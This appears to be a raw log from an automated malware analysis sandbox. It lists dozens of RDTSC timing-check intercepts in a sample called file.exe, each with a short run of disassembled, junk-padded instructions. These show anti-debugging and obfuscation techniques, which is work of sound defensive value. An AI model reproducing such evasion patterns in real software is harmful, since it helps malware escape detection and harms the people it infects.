Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF4CA5 second address: FF4CAA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF56B0 second address: FF5759 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F67208644CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F67208644D6h 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push edx 0x00000013 call 00007F67208644C8h 0x00000018 pop edx 0x00000019 mov dword ptr [esp+04h], edx 0x0000001d add dword ptr [esp+04h], 0000001Ah 0x00000025 inc edx 0x00000026 push edx 0x00000027 ret 0x00000028 pop edx 0x00000029 ret 0x0000002a sbb di, 930Fh 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push ebx 0x00000034 call 00007F67208644C8h 0x00000039 pop ebx 0x0000003a mov dword ptr [esp+04h], ebx 0x0000003e add dword ptr [esp+04h], 0000001Ch 0x00000046 inc ebx 0x00000047 push ebx 0x00000048 ret 0x00000049 pop ebx 0x0000004a ret 0x0000004b mov edi, dword ptr [ebp+122D29D8h] 0x00000051 mov si, bx 0x00000054 push 00000000h 0x00000056 mov si, D6A1h 0x0000005a xchg eax, ebx 0x0000005b push esi 0x0000005c push esi 0x0000005d pushad 0x0000005e popad 0x0000005f pop esi 0x00000060 pop esi 0x00000061 push eax 0x00000062 pushad 0x00000063 push eax 0x00000064 push edx 0x00000065 jmp 00007F67208644D8h 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF54B4 second address: FF54B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF5759 second address: FF575D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF54B9 second address: FF54BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF6181 second address: FF6187 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF6187 second address: FF618B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF8012 second address: FF8019 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF73D7 second address: FF73DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF8019 second address: FF8061 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a or dword ptr [ebp+122D2215h], ecx 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 mov di, ax 0x00000016 pop esi 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push edx 0x0000001c call 00007F67208644C8h 0x00000021 pop edx 0x00000022 mov dword ptr [esp+04h], edx 0x00000026 add dword ptr [esp+04h], 00000018h 0x0000002e inc edx 0x0000002f push edx 0x00000030 ret 0x00000031 pop edx 0x00000032 ret 0x00000033 push eax 0x00000034 push eax 0x00000035 push edx 0x00000036 jno 00007F67208644CCh 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF8061 second address: FF8066 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFAEE0 second address: FFAF2B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jp 00007F67208644C6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 mov bx, C812h 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push edi 0x0000001a call 00007F67208644C8h 0x0000001f pop edi 0x00000020 mov dword ptr [esp+04h], edi 0x00000024 add dword ptr [esp+04h], 0000001Ah 0x0000002c inc edi 0x0000002d push edi 0x0000002e ret 0x0000002f pop edi 0x00000030 ret 0x00000031 mov dword ptr [ebp+122D17DDh], edx 0x00000037 push 00000000h 0x00000039 push eax 0x0000003a pushad 0x0000003b push eax 0x0000003c push edx 0x0000003d jg 00007F67208644C6h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFAF2B second address: FFAF2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFBE9E second address: FFBEA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFBEA3 second address: FFBEA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFBF1E second address: FFBF22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFDD6F second address: FFDD79 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFED6E second address: FFED74 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFDEAC second address: FFDED5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6720533115h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007F672053310Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFDED5 second address: FFDEDC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1001F22 second address: 1001F27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1002FFC second address: 1003017 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F67208644CCh 0x00000008 jnl 00007F67208644C6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jbe 00007F67208644CCh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1000F30 second address: 1000FA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push dword ptr fs:[00000000h] 0x00000012 push 00000000h 0x00000014 push ecx 0x00000015 call 00007F6720533108h 0x0000001a pop ecx 0x0000001b mov dword ptr [esp+04h], ecx 0x0000001f add dword ptr [esp+04h], 00000016h 0x00000027 inc ecx 0x00000028 push ecx 0x00000029 ret 0x0000002a pop ecx 0x0000002b ret 0x0000002c mov dword ptr [ebp+122D31FDh], ecx 0x00000032 mov dword ptr fs:[00000000h], esp 0x00000039 push 00000000h 0x0000003b push ebp 0x0000003c call 00007F6720533108h 0x00000041 pop ebp 0x00000042 mov dword ptr [esp+04h], ebp 0x00000046 add dword ptr [esp+04h], 0000001Bh 0x0000004e inc ebp 0x0000004f push ebp 0x00000050 ret 0x00000051 pop ebp 0x00000052 ret 0x00000053 mov eax, dword ptr [ebp+122D0D55h] 0x00000059 sbb bl, FFFFFFF4h 0x0000005c push FFFFFFFFh 0x0000005e mov ebx, 788436FEh 0x00000063 nop 0x00000064 pushad 0x00000065 push eax 0x00000066 push edx 0x00000067 push ecx 0x00000068 pop ecx 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1003017 second address: 100301B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1004069 second address: 10040DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 or di, 532Bh 0x0000000b push 00000000h 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007F6720533108h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 00000017h 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 mov di, bx 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push eax 0x0000002f call 00007F6720533108h 0x00000034 pop eax 0x00000035 mov dword ptr [esp+04h], eax 0x00000039 add dword ptr [esp+04h], 00000016h 0x00000041 inc eax 0x00000042 push eax 0x00000043 ret 0x00000044 pop eax 0x00000045 ret 0x00000046 jg 00007F672053310Bh 0x0000004c jnl 00007F672053310Bh 0x00000052 push eax 0x00000053 pushad 0x00000054 push eax 0x00000055 push edx 0x00000056 jmp 00007F672053310Dh 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1004F88 second address: 1004F92 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F67208644C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1004F92 second address: 100501C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F672053310Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007F6720533108h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 00000014h 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 jc 00007F6720533111h 0x0000002c jmp 00007F672053310Bh 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push ebx 0x00000036 call 00007F6720533108h 0x0000003b pop ebx 0x0000003c mov dword ptr [esp+04h], ebx 0x00000040 add dword ptr [esp+04h], 0000001Ch 0x00000048 inc ebx 0x00000049 push ebx 0x0000004a ret 0x0000004b pop ebx 0x0000004c ret 0x0000004d sub ebx, 134DC0BDh 0x00000053 push 00000000h 0x00000055 push ebx 0x00000056 mov ebx, dword ptr [ebp+122D29F4h] 0x0000005c pop ebx 0x0000005d xchg eax, esi 0x0000005e pushad 0x0000005f jmp 00007F672053310Dh 0x00000064 pushad 0x00000065 push eax 0x00000066 push edx 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10060D7 second address: 10060E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e push esi 0x0000000f pop esi 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10060E8 second address: 10060FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6720533110h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1008036 second address: 100806B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp], eax 0x0000000a or dword ptr [ebp+1244C0C1h], ecx 0x00000010 push 00000000h 0x00000012 mov edi, dword ptr [ebp+122D36F5h] 0x00000018 push 00000000h 0x0000001a push edi 0x0000001b jmp 00007F67208644D1h 0x00000020 pop edi 0x00000021 push eax 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 pushad 0x00000026 popad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100806B second address: 1008070 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1008070 second address: 1008075 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1008075 second address: 100807B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10081A8 second address: 10081AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10081AE second address: 10081B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10091D3 second address: 10091D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10091D7 second address: 10091DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10091DD second address: 10091E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1010718 second address: 1010731 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F672053310Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jo 00007F6720533106h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1010731 second address: 1010763 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jg 00007F67208644C6h 0x0000000d pop eax 0x0000000e popad 0x0000000f pushad 0x00000010 push ebx 0x00000011 push edi 0x00000012 pop edi 0x00000013 pushad 0x00000014 popad 0x00000015 pop ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 jne 00007F67208644C6h 0x0000001e jmp 00007F67208644D4h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1010894 second address: 10108C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F672053310Eh 0x0000000a jmp 00007F6720533118h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1010A4E second address: 1010A63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F67208644C6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d jbe 00007F67208644C8h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1010A63 second address: 1010A9A instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6720533118h 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F6720533110h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 jbe 00007F6720533125h 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a pop eax 0x0000001b jmp 00007F6720533111h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100A102 second address: 100A107 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100A1FC second address: 100A200 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100A200 second address: 100A206 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101C60C second address: 101C624 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6720533106h 0x00000008 jno 00007F6720533106h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jne 00007F6720533112h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101C8A9 second address: 101C8AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101C8AD second address: 101C8E5 instructions: 0x00000000 rdtsc 0x00000002 js 00007F6720533106h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F6720533115h 0x00000014 push edi 0x00000015 jmp 00007F6720533112h 0x0000001a pop edi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101C8E5 second address: 101C921 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F67208644D6h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F67208644D5h 0x0000000e jmp 00007F67208644CDh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101C921 second address: 101C925 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101CA81 second address: 101CAB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007F67208644D1h 0x0000000d jmp 00007F67208644CBh 0x00000012 pushad 0x00000013 jmp 00007F67208644D3h 0x00000018 push edx 0x00000019 pop edx 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101D02F second address: 101D035 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10238F5 second address: 1023908 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F67208644CFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1023908 second address: 102390C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102390C second address: 1023925 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F67208644CEh 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1023925 second address: 102392A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1022327 second address: 1022345 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F67208644CAh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e jl 00007F67208644C6h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 push ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1022A51 second address: 1022A57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1022A57 second address: 1022A5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1022A5D second address: 1022A66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1022A66 second address: 1022A99 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F67208644C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F67208644D7h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jl 00007F67208644C6h 0x00000019 jg 00007F67208644C6h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1022A99 second address: 1022AAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnp 00007F672053310Eh 0x0000000b push edi 0x0000000c pop edi 0x0000000d jne 00007F6720533106h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102302A second address: 1023034 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F67208644C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1023034 second address: 1023038 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1023038 second address: 1023044 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1023044 second address: 1023048 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1023048 second address: 102304E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102319F second address: 10231B4 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6720533108h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jne 00007F672053311Eh 0x00000012 push ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10231B4 second address: 10231C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop ecx 0x00000007 jne 00007F67208644CEh 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1023789 second address: 10237AC instructions: 0x00000000 rdtsc 0x00000002 jp 00007F672053310Ch 0x00000008 pushad 0x00000009 push eax 0x0000000a pop eax 0x0000000b jmp 00007F6720533110h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1021FEB second address: 1022007 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 jo 00007F67208644C6h 0x0000000e jc 00007F67208644C6h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 push ebx 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1022007 second address: 1022014 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jbe 00007F6720533106h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1022014 second address: 1022018 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1022018 second address: 102202C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007F6720533106h 0x0000000e jp 00007F6720533106h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10269CF second address: 10269EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F67208644CBh 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnp 00007F67208644C6h 0x00000013 push edx 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10269EA second address: 10269FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6720533111h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102CE62 second address: 102CE66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102CE66 second address: 102CE93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F672053310Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F6720533116h 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102CE93 second address: 102CEBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F67208644D3h 0x0000000a popad 0x0000000b pushad 0x0000000c push ecx 0x0000000d jnp 00007F67208644C6h 0x00000013 pop ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 jnl 00007F67208644C6h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102CEBD second address: 102CEC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF050D second address: FF051D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 pushad 0x00000008 js 00007F67208644C6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
